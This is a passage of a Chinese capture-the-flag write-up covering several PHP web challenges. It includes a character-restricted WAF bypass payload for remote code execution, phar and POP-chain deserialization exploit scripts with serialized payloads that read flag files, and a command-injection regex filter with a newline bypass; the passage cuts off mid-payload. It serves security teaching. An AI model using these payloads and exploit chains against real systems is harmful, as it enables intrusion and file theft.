if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
$pass = $pass.chr($i);
}
}
echo "当前能过waf的字符:".$pass."\n";
#当前能过waf的字符: $()+,.0123456789;=[]_{}

那么利用这些字符来进行rce,是自增型rce,但是限制了长度,所以要进行一些简化,来了解一下自增的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$_=[].'_'; //空数组拼接一个字符,会将空数组变成字符串Array
$__=$_[1];//$__是r
$_=$_[0];//$_这时是A
$_++;//$_这时是B,每++一次就是下一个字母
$_++;//C
$_0=$_;//把c给$_0
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_0.++$_.$__;//$_=CHr
$_='_'.$_(71).$_(69).$_(84);//$_='_'.CHR(71).CHR(69).CHR(84) -> $_=_GET
//$$_[1]($$_[2]);//$_GET[1]($_GET[2])
echo $_;
#_GET

payload:

1
2
//整理成一行并且在浏览器中传参的形式:
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

对所有特殊字符进行url编码,得到

1
$_%3d[]._%3b$__%3d$_[1]%3b$_%3d$_[0]%3b$_%2b%2b%3b$_0%3d%2b%2b$_%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%2b%2b%3b$_%3d$_0.%2b%2b$_.$__%3b$_%3d_.$_(71).$_(69).$_(84)%3b$$_[1]($$_[2])%3b

然后再传get参数1、2即可

image-20240110135927136

184.[SWPU 2018]SimplePHP

在查看文件处是file.php?file=,etc/passwd没读到,试下var/www/html/index.php

1
2
3
4
<?php 
header("content-type:text/html;charset=utf-8");
include 'base.php';
?>

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

open_basedir解释了为什么读不到etc/passwd,来读读upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
include 'function.php';
upload_file();
?>
<html>
<head>
<meta charest="utf-8">
<title>文件上传</title>
</head>
<body>
<div align = "center">
<h1>前端写得很low,请各位师傅见谅!</h1>
</div>
<style>
p{ margin:0 auto}
</style>
<div>
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</div>

</script>
</body>
</html

base.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>web3</title>
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css">
<script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="index.php">首页</a>
</div>
<ul class="nav navbar-nav navbra-toggle">
<li class="active"><a href="file.php?file=">查看文件</a></li>
<li><a href="upload_file.php">上传文件</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li>
</ul>
</div>
</nav>
</body>
</html>
<!--flag is in f1ag.php-->

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

跟传文件有关系的,限制路径,不能自由读文件的,跟解析没关系的,还找到类文件,大概率就是phar反序列化题,先分析一下function.php,只允许图片类型,传完文件会删除重复文件,会把文件名拼接客户端IP地址的结果进行md5处理作为文件名,后缀必是jpg,也就是我们传上去的文件在服务器存储的形式是upload/32位hash.jpg。所以我们等下要根据这个计算出我们上传触发反序列化的phar文件名是什么。

接下来分析class.php找链子,在Test类中的file_get方法里存在file_get_contentsget方法调用了file_get__get方法调用了get,所以要触发Test类中的__get,而__get是在读取不可访问或者不存在的属性的时候,进行赋值,我们看到Show 类下的__toString存在$content=$this->str['str']->source;,会去访问source这个成员,而Test类不存在source,所以可以触发它的__get,所以要触发Show__toString,在类C1e4r__destruct中,存在echo $this->test,将变量test作为字符串处理,会触发__toString,这样链子就很清晰了:

1
C1e4r->__destruct->Show->__toString->File->__get->get->file_get->file_get_content

重写Show和Test的构造函数,让Show->str['str']=new Test(),然后它在__toString()里访问了Test对象中不存在的source属性,就会触发__get,让Test->params['source']='/var/www/html/f1ag.php',就能过if(isset($this->params[$key]))最终读取flag

到这里,可以写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct()
{
$this->str['str']=new Test();
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file='/var/www/html/f1ag.php';
public $params;
public function __construct()
{
$this->params['source']=$this->file;
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

$a = new C1e4r(new Show());

$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER();?>');
$phar->setMetadata($a);
$phar->addFromString('1.txt','1');
$phar->stopBuffering();

将生成的exp.phar重命名为exp.jpg,上传,然后计算md5

1
2
<?php
echo md5("exp.jpg"."用户名处显示的你的IP");

最后/file.php?file=phar://upload/md5.jpggetflag

image-20240110173409101

185.[HNCTF 2022 WEEK4]pop子和pipi美

脑洞,https://www.bilibili.com/bangumi/play/ep683045ep683045就是传入的参数

payload1:?pop_EP=ep683045

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}

class Pipimi{

public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}

public function __get($corepop){
$function = $this->p;
return $function();
}
}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct($file='index.php'){
$this->kiminonawa = $file;
echo 'Welcome to HNCTF2022 ,';
echo 'This is '.$this->kiminonawa."<br>";
}
public function __toString(){
return $this->str->kiminonawa;
}

public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}

if(isset($_GET['pop'])) @unserialize($_GET['pop']);

else{
$a=new Goodsisters;
if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){
highlight_file(__FILE__);
echo '欸嘿,你也喜欢pop子~对吧ww';
}
}

链子还是很简单的,提示性都特别明显,最终要include(),就要调用append(),就要调用__invoke(),在Pipimi__get()里能触发__invoke(),在Goodisisters__toString()里能触发__get(),在__wakeup()里能触发__toStirng()if(isset($_GET['pop'])) @unserialize($_GET['pop']); 能触发__wakeup()

1
unserialize()->Goodsisters::__wakeup()->Goodsisters::__toString()->Pipimi::__get()->Popuko::__invoke()->Popuko::append()->Popuko::include()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

//flag is in f14g.php
class Popuko {
private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php";
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
include($anti_takeshobo);
}
}

class Pipimi{

public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->p=new Popuko();
}

}
class Goodsisters{

public function PopukoPipimi(){
$is = "Good sisters";
}

public $kiminonawa,$str;

public function __construct(){
$this->str=new Pipimi();
}
public function __toString(){
return $this->str->kiminonawa;
}

public function __wakeup(){
if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i", $this->kiminonawa)) {
echo "仲良ピース!";
$this->kiminonawa = "index.php";
}
}
}
$a = new Goodsisters();
$a->kiminonawa = new Goodsisters();


echo urlencode(serialize($a));
#O%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BO%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7D

payload2:

?pop=O%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BO%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7D

186.[FBCTF 2019]rceservice

附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html>
<body>
<h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>

分析下正则

image-20240111150410575

可以发现在头尾处匹配了.,而且没有用s来修饰,所以不包括换行符号%0a,有关修饰符的点可以自行查阅php手册,可以使用%0a绕过正则,也可以使用PCRE回溯次数绕过。

payload:`?cmd=